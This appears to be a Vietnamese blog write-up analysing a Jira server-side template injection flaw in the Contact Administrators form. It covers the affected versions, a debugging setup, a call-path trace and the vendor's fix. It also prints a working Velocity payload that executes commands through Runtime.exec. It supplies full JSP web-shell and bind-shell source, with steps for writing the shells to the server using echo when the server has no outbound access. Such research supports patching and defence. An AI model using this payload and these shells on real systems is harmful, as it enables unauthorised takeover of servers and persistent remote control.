4.4.x
5.x.x
6.x.x
7.0.x
7.1.x
7.2.x
7.3.x
7.4.x
7.5.x
7.6.x before 7.6.14 (the fixed version for 7.6.x)
7.7.x
7.8.x
7.9.x
7.10.x
7.11.x
7.12.x
7.13.x before 7.13.5 (the fixed version for 7.13.x)
8.0.x before 8.0.3 (the fixed version for 8.0.x)
8.1.x before 8.1.2 (the fixed version for 8.1.x)
8.2.x before 8.2.3 (the fixed version for 8.2.x)
- Sửa giá trị
set JVM_SUPPORT_RECOMMENDED_ARGS=
tại file ./bin/setenv.bat (hoặc tương tự với file ./bin/setenv.sh của linux)để có thể chạy remote debug
set JVM_SUPPORT_RECOMMENDED_ARGS=-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005
- Tại IDE (Intellij) ta tạo một Debug Configurations:
Remote JVM Debug
với giá trịhost
vàport
là localhost:5005 vàCommand line aguments for remote JVM
-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=*:5005
-
Chạy file ./bin/config.bat (hoặc với file config.sh với linux) và chỉnh sửa "Jira home" về thư mục jira home của mình
-
Chạy file ./bin/start-jira.bat (hoặc ./bin/start-jira.sh với linux). Các bạn kiểm tra version java, port 8080 và 5005 có đang free hay không nếu không chạy được nhé!
-
Tới bước này, các bạn nhớ dùng địa chỉ email có thể nhận được email nhé :)
-
Tại
http://localhost:8080/secure/admin/EditApplicationProperties!default.jspa
ta bật tính năngContact Administrators Form
-
Mình chỉ note một số lưu ý khi building, các bạn có thể tham khảo building jira from source
Sau khi đọc Advisory ta biết được bug này nằm ở ContactAdministrators và SendBulkMail (cái này mình bỏ qua vì cần authen). Vậy nên mình bắt đầu test tính năng ContactAdministrators
và bắt request
-
Mình thấy request tới
/secure/ContactAdministrators.jspa
thế nên mình xem file ./atlassian-jira/WEB-INF/web.xml để xem request này sẽ được chuyển tới class nào
-
Như thế reuqest sẽ được xử lý ở
JiraWebworkActionDispatcher
, vậy nên mình đặt breakpoit ở init và server ở class này và chạy debug -
Như thế chương trình đã dừng lại ở hàm
server
, trace một lát thì chương trình nhảy vàoContactAdministrators.doExecute()
-
Sau đó qua
send
, tại đây chương trình list ra các tài khoản admin đang hoạt động -
Rồi sau đó chương trình qua hàm
sendTo
. Tại đây ta thấy chương trình có tạo mộtMailQueueItem
và add nó vàomailQueue
. -
Chương trình gọi hàm
EmailBuilder.withSubject
. Tại đây string subject của email (attacker gửi lên) được chuyển từ String qua TemplateSources và gán cho tham sốsubjectTemplate
của EmailBuilder. -
Tại hàm
renderLater
chương trình tạo mộtEmailRenderer
và dùng nó để tạo mộtRenderingMailQueueItem
-
Từ đây, khi quay lại hàm
ContactAdministrators.sendTo
. Sau khi tạo xong mộtMailQueueItem
chương trình add item vàomailQueue
rồi quay lại hàm doExecute để Redirect. Nếu theo luồng debug này ta không thể nhảy tới phần mà chương trình render email, nên không thể tới đoạn xảy ra template injection được. Vậy mình phải làm gì để có thể theo dõi việc xử lý email??? -
Mình thấy ở
EmailRenderer
có hàmrenderNow
(chương trình chỉ gọirenderLater
) mình đoán là khi email ở trong queue được gọi lên để render, nó cũng sẽ được đi theo luồng giống nhưrenderNow
, vậy nên mình quyết định trace từ hàmrenderNow
-
Từ
renderNow
chương trình gọi tớiEmailRenderer.render()
. Mình đặt breakpoint ở đây và request lại để xem chương trình có thự sự chạy tới đây hay không -
Thật may mắn là chương trình đã đi đúng hướng mình đoán. Tiếp theo chương trình gọi
renderEmailSubject
-
Tiếp theo chương trình gọi
DefaultVelocityTemplatingEngine.render(this.subjectTemplate)
-
Đến
DefaultVelocityTemplatingEngine.applying
vàDefaultVelocityTemplatingEngine.asPlainText
-
Đến
toWriterImpl
vìwriter
mình đưa vào là một Fragment thế nên chương trình nhảy tớielse
private void toWriterImpl(Writer writer, boolean attachCartridge) throws IOException {
if (this.source instanceof File) {
File template = (File)this.source;
if (attachCartridge) {
this.context.attachEventCartridge(DefaultVelocityTemplatingEngine.this.createDefaultCartridge());
}
DefaultVelocityTemplatingEngine.this.velocityManager.writeEncodedBody(writer, template.getPath(), "", DefaultVelocityTemplatingEngine.this.applicationProperties.getEncoding(), this.context);
} else if (this.source instanceof Fragment) {
Fragment fragment = (Fragment)this.source;
if (attachCartridge) {
this.context.attachEventCartridge(DefaultVelocityTemplatingEngine.this.createDefaultCartridge());
}
DefaultVelocityTemplatingEngine.this.velocityManager.writeEncodedBodyForContent(writer, fragment.getContent(), this.context);
}
}
- Và gọi tới
DefaultVelocityManager.writeEncodedBodyForContent
- Tiếp tục qua
VelocityEngine.evaluate
->RuntimeInstance.evaluate(Context, Writer, String, String)
->RuntimeInstance.evaluate(Context, Writer, String, Reader)
. Tại đây chương trình đã tạo mộtSimpleNode
từReader
- Chương trình chạy tới hàm
render
, tại đây chương trình gọinodeTree.render(ica, writer);
để parse template Velocity vì thế ở đây ta có thể Template injection ở đây!
public boolean render(Context context, Writer writer, String logTag, SimpleNode nodeTree) throws IOException {
InternalContextAdapterImpl ica = new InternalContextAdapterImpl(context);
ica.pushCurrentTemplateName(logTag);
try {
try {
nodeTree.init(ica, this);
} catch (TemplateInitException var13) {
throw new ParseErrorException(var13);
} catch (RuntimeException var14) {
throw var14;
} catch (Exception var15) {
String msg = "RuntimeInstance.render(): init exception for tag = " + logTag;
this.getLog().error(msg, var15);
throw new VelocityException(msg, var15);
}
nodeTree.render(ica, writer); ### Có thể RCE ở đây ###
} finally {
ica.popCurrentTemplateName();
}
return true;
}
- Mình thay thể subject của email contact bằng payload của velocity teplate:
$i18n.getClass().forName('java.lang.Runtime').getMethod('getRuntime',null).invoke(null,null).exec('calc').waitFor()
ContactAdministrators: doExecute -> send -> sendTo
-> EmailBuilder -> renderLater
RenderingMailQueueItem: send
-> emailRenderer: render -> renderEmailSubject
-> DefaultVelocityTemplatingEngine: asPlainText -> asPlainText(Writer writer) -> toWriterImpl
-> DefaultVelocityManager: writeEncodedBodyForContent
->VelocityEngine: evaluate
> RuntimeInstance: evaluate -> evaluate -> render
=> SimpleNode: render
Như thế ta đã có thể RCE trên jira server, thế nhưng nếu chúng ta muốn có 1 shell mà gặp phải trường hợp server không có outbound thì phải làm sao? Trong trường hợp này ta không thể tạo bind/reverse shell như thông thường vì ta không có port để ra internet.
Mình nhận được một gọi ý từ anh @honson97: "sử dụng 1 web jsp để nhận input từ attacker rồi chuyển tới một bind shell hoạt động độc lập và listen chính localhost của server".
Từ ý tưởng ấy, mình code 2 file jsp là web.jsp
và blind.jsp
. blind.jsp
mang nhiệp vụ làm blind shell, luôn lắng nghe ở localhost:4444 nhận lệnh đưa vào cmd/base và trả về kết quả cho web jsp web.jsp
, và web jsp chính là công cụ để attacker input/output command.
<%@page import="java.lang.*"%>
<%@page import="java.util.*"%>
<%@page import="java.io.*"%>
<%@page import="java.net.*"%>
<%
Socket socket = new Socket( "127.0.0.1", 4444 );
OutputStream output = socket.getOutputStream();
PrintWriter writer = new PrintWriter(output, true);
writer.println(request.getParameter("cmd"));
InputStream input = socket.getInputStream();
DataInputStream dis = new DataInputStream(input);
String disr = dis.readLine();
while ( disr != null ) {
out.println(disr);
disr = dis.readLine();
}
socket.close();
%>
<%@page import="java.lang.*"%>
<%@page import="java.util.*"%>
<%@page import="java.io.*"%>
<%@page import="java.net.*"%>
<%
class StreamConnector
{
InputStream md;
OutputStream ao;
StreamConnector( InputStream md, OutputStream ao )
{
this.md = md;
this.ao = ao;
}
public void run()
{
BufferedReader yw = null;
BufferedWriter enf = null;
try
{
yw = new BufferedReader( new InputStreamReader( this.md ) );
enf = new BufferedWriter( new OutputStreamWriter( this.ao ) );
char buffer[] = new char[8192];
int length = yw.read( buffer, 0, buffer.length);
enf.write( buffer, 0, length );
enf.flush();
} catch( Exception e ){}
}
}
try
{
String ShellPath;
if (System.getProperty("os.name").toLowerCase().indexOf("windows") == -1) {
ShellPath = new String("/bin/sh");
} else {
ShellPath = new String("cmd.exe");
}
ServerSocket server_socket = new ServerSocket(4444,1048576,InetAddress.getByName((String)"127.0.0.1") );
Process process = Runtime.getRuntime().exec( ShellPath );
while (true) {
Socket client_socket = server_socket.accept();
( new StreamConnector( client_socket.getInputStream(), process.getOutputStream() ) ).run();
Thread.sleep(1000);
( new StreamConnector( process.getInputStream(), client_socket.getOutputStream() ) ).run();
client_socket.close();
}
} catch( Exception e ) {}
%>
Tiếp theo là up shell lên server, do server chúng ta đang tính ở trường hợp không có outbound nên chúng ta chỉ có thể upload file bằng lệnh echo. Trước tiên mình xóa ký tự "\n" và Escape Characters đặc biệt (bằng python)
a = """ copy-cái-file-vô-đây """
a = a.replace("\n", " ").replace("\t", " ").replace(">", "^>").replace("<", "^<")
print(a)
sau đó copy string thu được đưa vô payload
$i18n.getClass().forName('java.lang.Runtime').getMethod('getRuntime',null).invoke(null,null).exec('echo STRING-Ở-TRÊN > ../atlassian-jira/web.jsp').waitFor()
Sau khi upload được 2 file web.jsp và bind.jsp. Ta truy cập /bind.jsp
rồi mở tab khác truy cập /web.jsp?cmd=COMMAND
để test shell
Tại ContactAdministrators.sendTo()
, thay vì đưa trực tiếp input từ client vào hàm EmailBuilder.withSubject
để chuyển thành teamplate sources (có thể render) thì tại bản fix nhà nhà phát triển đã đưa input vào thành một string context và chỉ cần đưa string "$subject"
vào hàm EmailBuilder.withSubject
. Khi render, hệ thống thực thi template "$subject"
tức là load subject - string context (input từ client) lên chứ không hề render chúng. Nói cách khác, chương trình nạp input vào như một string chứ không phải như một template có thể render.